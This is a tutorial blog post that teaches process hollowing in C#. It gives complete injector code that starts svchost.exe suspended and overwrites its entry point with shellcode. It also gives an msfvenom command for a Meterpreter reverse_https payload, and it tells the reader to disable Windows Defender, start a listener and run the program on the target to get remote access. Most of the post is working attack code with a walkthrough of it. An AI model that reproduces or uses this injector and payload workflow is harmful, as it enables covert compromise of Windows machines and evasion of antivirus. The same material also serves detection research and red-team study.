Process Hollowing with C#

After learning about suspended processes in our previous post, today we will focus on how malware developers use suspended processes to inject shellcode or other malicious code into the memory of a legitimate process. Let’s dive into Process Hollowing.

What is process Hollowing

Process Hollowing is a technique where a malicious program creates a legitimate process in a suspended state, replaces its original code with malicious code, and then resumes the process. This makes the malicious code execute under the guise of a legitimate application, helping it evade detection. You can read more about this technique on the MITRE ATT&CK website.

Now, let’s write a C# program to demonstrate Process Hollowing.

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;


namespace hollowing
{
    internal class Program
    {
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        struct STARTUPINFO
        {
            public Int32 cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
        uint ProcInfoLen, ref uint retlen);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern uint ResumeThread(IntPtr hThread);

        static void Main(string[] args)
        {
            STARTUPINFO si = new STARTUPINFO();
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

            bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero,
                IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
            uint tmp = 0;
            IntPtr hProcess = pi.hProcess;

            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);

            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);

            byte[] addrBuf = new byte[IntPtr.Size];
            IntPtr nRead = IntPtr.Zero;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);

            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

            byte[] data = new byte[0x200];
            ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);

            uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);

            uint opthdr = e_lfanew_offset + 0x28;

            uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);

            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);

            byte[] buf = new byte[] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8...... };

            WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);

            ResumeThread(pi.hThread);
        }
    }
}

Understanding the Code Bit by Bit

In our previous post about suspended processes, we only used two structures: STARTUPINFO and PROCESS_INFORMATION. However, for Process Hollowing, we need to add another important structure: PROCESS_BASIC_INFORMATION. This structure is crucial because it holds the PEB (Process Environment Block) address in its PebBaseAddress field. We will discuss its significance in detail in this post.

Using P/Invoke to Call CreateProcess

[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);  

We used the CreateProcess function from kernel32.dll, which we previously discussed in our post about suspended processes. This function allows us to create a process of our choice, in this case, we are targeting svchost.exe.

In our previous post, we also explained that the dwCreationFlags parameter in CreateProcess plays a crucial role in creating a process in a suspended state. By passing 0x4 as its value, we ensure that the newly created process starts in a suspended state.

In short, CreateProcess launches the specified process, and by setting dwCreationFlags to 0x4, we keep it suspended, allowing us to modify it before execution.

Using P/Invoke to Call ZwQueryInformationProcess

[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(
    IntPtr hProcess,             // Handle to the process
    int procInformationClass,     // Type of information to retrieve
    ref PROCESS_BASIC_INFORMATION procInformation, // Output struct
    uint ProcInfoLen,             // Size of the output struct
    ref uint retlen               // Number of bytes written
);

We used the ZwQueryInformationProcess function from ntdll.dll to retrieve the Process Environment Block (PEB) address, which is essential for modifying the memory of the target process. This function plays a crucial role in process hollowing, as it allows us to access key process structures needed for memory replacement.

The procInformationClass parameter determines what type of information we retrieve, and it accepts integer values corresponding to different types of process data. Since we are performing process hollowing, we use the value 0, which corresponds to ProcessBasicInformation.

Make sure to read the official documentation for more details (LINK).

Process Environment Block (PEB)

The Process Environment Block (PEB) is a crucial structure in Windows that stores essential information about a running process. It contains metadata that the operating system and applications use to manage the process, including details such as the image base address, loaded modules, heap information, and more.

In process hollowing, the PEB is particularly important because it provides access to the image base address, which helps locate and modify the executable code of the target process.

Image Base Address

The Image Base Address is the memory location where a process’s executable file (EXE) is loaded in RAM.

  • Every Windows process has an EXE file that must be loaded into memory before execution.
  • The Image Base Address is where the first byte of the EXE file is stored in the process’s virtual memory.
  • All memory addresses in the EXE file (like function calls and global variables) are calculated relative to this base address.

The Image Base Address is stored at PEB + 0x10 in x64 processes. Malware often reads this value to manipulate the main executable.

Using P/Invoke to Call ReadProcessMemory

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(
    IntPtr hProcess,        // Handle to the target process
    IntPtr lpBaseAddress,   // Address to read from
    [Out] byte[] lpBuffer,  // Buffer to store read data
    int dwSize,             // Number of bytes to read
    out IntPtr lpNumberOfBytesRead // Number of bytes actually read
);

We used the ReadProcessMemory function from kernel32.dll, which allows us to read the memory of a target process. In process hollowing, we use this function to read the memory at the image base address of the target executable. This step is crucial as it helps us retrieve and analyze the original contents of the process before replacing them with our malicious code.

Using P/Invoke to Call WriteProcessMemory

[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
    IntPtr hProcess,         // Handle to the target process
    IntPtr lpBaseAddress,    // Address where we want to write data
    byte[] lpBuffer,         // The actual data (payload) to write
    Int32 nSize,             // Size of the data in bytes
    out IntPtr lpNumberOfBytesWritten // Output: how many bytes were actually written
);

We use the WriteProcessMemory function to overwrite the original process memory with our malicious shellcode. This ensures that when we resume the suspended process, it executes our shellcode instead of its original code, effectively hijacking the execution flow.

Using P/Invoke to Call ResumeThread

[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);

This is the last function we use to resume the suspended thread, allowing the injected shellcode to execute within the target process.

STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
uint tmp = 0;
IntPtr hProcess = pi.hProcess;

In this code, we first create instances of STARTUPINFO (si) and PROCESS_INFORMATION (pi). Then, we call the CreateProcess function to start "C:\\Windows\\System32\\svchost.exe" in suspended mode using the 0x4 flag (CREATE_SUSPENDED). This ensures that the process is created but does not start executing immediately.

The ref si parameter passes the STARTUPINFO structure, which defines the window settings for the new process. The out pi parameter stores essential details about the newly created process, including the process handle (hProcess), thread handle (hThread), and process ID (dwProcessId). The hProcess handle is passed to other functions to specify which process we are working with. The thread handle (hThread) is particularly important, as it allows us to resume the suspended process.

Finally, we store hProcess from pi.hProcess so we can manipulate the process further. The uint tmp = 0; variable is likely used in later function calls.

PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);

We begin by creating an instance of PROCESS_BASIC_INFORMATION (bi) to store process-related information. This structure holds details about the target process, including its Process Environment Block (PEB), which is essential for retrieving the base address of the loaded executable.

Next, we use the ZwQueryInformationProcess function to gather information about the target process. We pass the process handle (hProcess), specify 0 (which corresponds to ProcessBasicInformation), and store the retrieved data in bi. To ensure sufficient space for this data, we allocate (IntPtr.Size * 6) bytes.

Once we retrieve the PEB address, we calculate the Image Base Address by adding 0x10 to bi.PebAddress. This is because, within the PEB structure, the image base is stored at an offset of 0x10.

Finally, this computed address (ptrToImageBase) allows us to read the actual base address of the loaded executable (e.g., svchost.exe) in memory. This step is crucial for modifying or injecting malicious code into the target process while preserving its legitimate appearance.

byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

In this code section, we first define a byte array named addrBuf, which is sized to match IntPtr.Size (8 bytes on a 64-bit Windows system). This buffer will temporarily hold the raw bytes of the base address of svchost.exe.

Next, we create an IntPtr variable named nRead, initialized to zero. This variable will store the number of bytes successfully read by ReadProcessMemory().

We then call the ReadProcessMemory() function with the following parameters:

  • hProcess: A handle to the svchost.exe process, allowing us to read its memory.
  • ptrToImageBase: A pointer inside the PEB (Process Environment Block), which stores the actual base address of svchost.exe.
  • addrBuf: The byte array where we store the raw memory contents read from ptrToImageBase.
  • addrBuf.Length: Specifies that we want to read 8 bytes (since it’s a 64-bit system).
  • out nRead: This variable stores how many bytes were actually read (for error checking).

Finally, we use BitConverter.ToInt64(addrBuf, 0) to convert the raw bytes in addrBuf into an actual IntPtr, which we store in svchostBase. This svchostBase now holds the real base address of svchost.exe, allowing us to analyze its memory further.

byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);

In this section, we create a byte array named data with a size of 0x200 (512 bytes). This array will store the memory contents read from the target process. We then call the ReadProcessMemory function again, this time passing svchostBase as the address from which we want to read. The data array serves as a buffer to store the retrieved memory contents, and data.Length specifies that we want to read 512 bytes. The out nRead parameter will store the number of bytes successfully read.

Before we move forward with the code, we need to understand some key terms. This will help us grasp what the code is actually doing and why each step is necessary.

1. PE Header Offset (e_lfanew_offset)

  • In Windows executables (PE files), the PE header doesn’t always start at a fixed location.
  • Instead, the DOS Header (the very first part of an executable) contains a special value at offset 0x3C called e_lfanew.
  • This value tells us where to find the PE header inside the file. Think of it like a bookmark that tells us where the important data starts.
2. Optional Header

  • The Optional Header is part of the PE header and contains crucial information about how the executable should run in memory.
  • It stores things like:
    • The program’s preferred memory address (Image Base).
    • The Entry Point RVA (where execution starts).
    • Sizes of different sections of the executable.
  • Despite its name, it’s not really optional—every PE file has it!
3. Entry Point Relative Virtual Address (entrypoint_rva)

  • When a program runs, execution doesn’t start at the very beginning of the file—it starts at a special location inside the code section.
  • This starting point is called the Entry Point, and its address is stored in the Optional Header at PE Header Offset + 0x28.
  • It’s a Relative Virtual Address (RVA), meaning it’s relative to the base address of the program in memory.
4. addressOfEntryPoint

  • Since entrypoint_rva is relative, we must convert it into an absolute memory address.
  • We do this by adding it to the base address of the process (svchostBase).
  • This gives us the exact location in memory where execution starts when the process runs.

Now we will continue our code.

uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
uint opthdr = e_lfanew_offset + 0x28;
uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);

In this section, we extract the entry point address of the target process. First, we retrieve e_lfanew_offset from the data array at offset 0x3C. This value points to the start of the PE (Portable Executable) header. Next, we calculate the offset of the Optional Header by adding 0x28 to e_lfanew_offset, since the entry point relative virtual address (RVA) is located at this position inside the Optional Header. We then extract entrypoint_rva, which is the relative address of the process’s entry point. Finally, we compute the absolute memory address of the entry point by adding entrypoint_rva to svchostBase. This gives us the exact location in memory where execution begins for the process.

byte[] buf = new byte[] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8...... };

Here, we will add our shellcode. To generate the shellcode, we will use msfvenom, a powerful payload generation tool. We can run the following command to generate a reverse shell payload:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST= LPORT=443 -f csharp

WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);
ResumeThread(pi.hThread);

In this section, we inject our shellcode into the target process and resume its execution. First, we use WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead); to write the shellcode (buf) into the memory of the target process at the calculated entry point (addressOfEntryPoint). This effectively replaces the original execution start point with our malicious payload.

Next, since the process was created in a suspended state, we call ResumeThread(pi.hThread); to restart its execution. Since we overwrote the entry point with our shellcode, when the process resumes, it executes our injected shellcode instead of its intended code, giving us control over the process.

After building the program, you need to disable Windows Defender because it can easily detect this malicious executable. Once Defender is turned off, start the Metasploit meterpreter listener using the appropriate multi/handler module. Then, execute the generated .exe file on the target system. Since we have injected our shellcode into the process, the program will establish a reverse shell connection, giving us remote access through Meterpreter.

In our next post, we will explore what factors tip off Windows Defender to consider this program malicious.

Leave a Comment